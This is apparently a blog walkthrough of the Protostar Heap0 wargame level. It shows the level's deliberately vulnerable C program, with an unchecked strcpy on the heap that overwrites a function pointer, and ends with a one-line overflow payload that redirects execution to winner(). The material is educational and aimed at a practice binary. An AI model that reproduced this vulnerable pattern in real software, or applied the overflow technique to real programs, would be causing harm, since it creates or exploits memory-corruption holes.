Monthly Archives: December 2017

Protostar Heap0

Level description

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

Intro

This is an introductory level to heap overflows. As can be seen from the code above, this is almost exactly the same case as the simple buffer-overflow ones from some of the first blog posts in Protostar series. It’s not hard to see that we have a strcpy call with user supplied argument at line 36. After a short inspection of declared structures, we can conclude that, given a sufficiently large user input, the data structure member name will overflow into the function pointer structure fp and thus overwrite it’s member (which is a function pointer). To make things easier, we are even given the addresses of data and fp which we will need to calculate the address offset. The main difference between this type of overflow and the basic buffer-overflow we had in earlier levels is that now we are exploiting stuff on the heap (lower memory addresses) instead of the stack (higher memory addresses).

Solution

I’ll keep it short because it’s an introductory and easy level. The steps for exploitation are:

  1. Find addresses of data and fp structures.
  2. Calculate offset between data and fp.
  3. Find address of winner function.
  4. Tailor user input to overflow data struct and overwrite the function pointer in fp with the winnner function’s address.

We are given the addresses of data and fpdata@0x87db008 and fp@0x87db050. Offset between the two is 72 bytes. We can get the address of winner function by calling: “print winner” from GDB, the address is: winner@0x08048464. Now that we have everything, we can write the exploit:

./heap0 `python -c “print ‘a’ * 72 + ‘\x64\x84\x04\x08′”`

This should give us a message: “level passed”.

On to the more complex ones!